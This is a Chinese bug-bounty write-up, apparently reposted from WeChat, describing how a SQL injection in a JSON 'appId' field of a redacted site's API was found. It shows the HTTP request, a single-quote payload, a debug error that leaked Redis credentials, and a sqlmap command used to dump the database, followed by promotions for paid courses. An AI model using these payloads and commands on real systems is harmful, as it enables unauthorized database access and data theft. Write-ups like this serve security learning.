一个三位数美刀的Sql注入
2023-10-23 12:41:31 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

正文

本文从谷歌语法开始:

 intitle:”Bug Bounty” intext:”Reward” intext:”$”

发现一个新出来的目标:whitedacted.com

启动Burp Suite,准备开干

发现一个有趣的接口,发送POST请求到/app/store-app-to-db-web

其中包含一些json数据。你可以通过读取路径来猜测接口是做什么的

请求如下:


POST /app/store-app-to-db-web HTTP/2
Host: subdomain.whitedacted.com
Cookies: AuthCookies=BlahBlahBlah...; sessionID=ABCD1234xyz;
Content-Type: application/json
Content-Length: 67

{
  "saveLogin":"login",
  "source":"publish_builder",
  "appId":"1111111"
}

重新请求后,应用程序以纯文本形式使用我的sessionID进行响应。

然后我开始更改Path,cookie和Json Body中的数据。我在每个字段中注入了特殊字符,试图在应用程序中发现所有可能的错误。

同时逐个删除cookie中的字段以检查应用程序的行为。

该漏洞存在于json输入字段中,后端应用程序期望正确的“appID”,否则它会返回“Invalid Session”

我删除了appId的值,并添加了单引号,然后发送请求。像这样


{
  "saveLogin":"login",
  "source":"publish_builder",
  "appId":"'"
}

后端应用程序崩溃并在响应中给出500状态码和语法错误

发现调试模式被启用,这里泄露了许多关于后端数据库的关键信息,包括AWS Redis的主机名、用户名和密码。

使用sqlmap来测试:

sqlmap -r req.txt --batch --random-agent --proxy http://127.0.0.1:8080/ --force-ssl --cookie=""

req.txt里面的内容如下:


POST /app/store-app-to-db-web HTTP/2
Host: subdomain.whitedacted.com
Content-Type: application/json
Content-Length: 62

{
  "saveLogin":"login",
  "source":"publish_builder",
  "appId":"*"
}

如果我们发送带有sql有效负载的cookie,它会像上面提到的那样给出“无效会话”,所以这里需要发送没有cookie头的请求。

发现Sqlmap能够从数据库中转储所有内容。

如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

往期回顾

2022年度精选文章

SSRF研究笔记

xss研究笔记

dom-xss精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247492355&idx=1&sn=3b5d2e932f1e0959c47cc89f9412bdfa&chksm=e8a5e960dfd260768f420ffc038b2da93e43f3ab480ea3706cf1b546cfed6761b3a0bcd01858&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh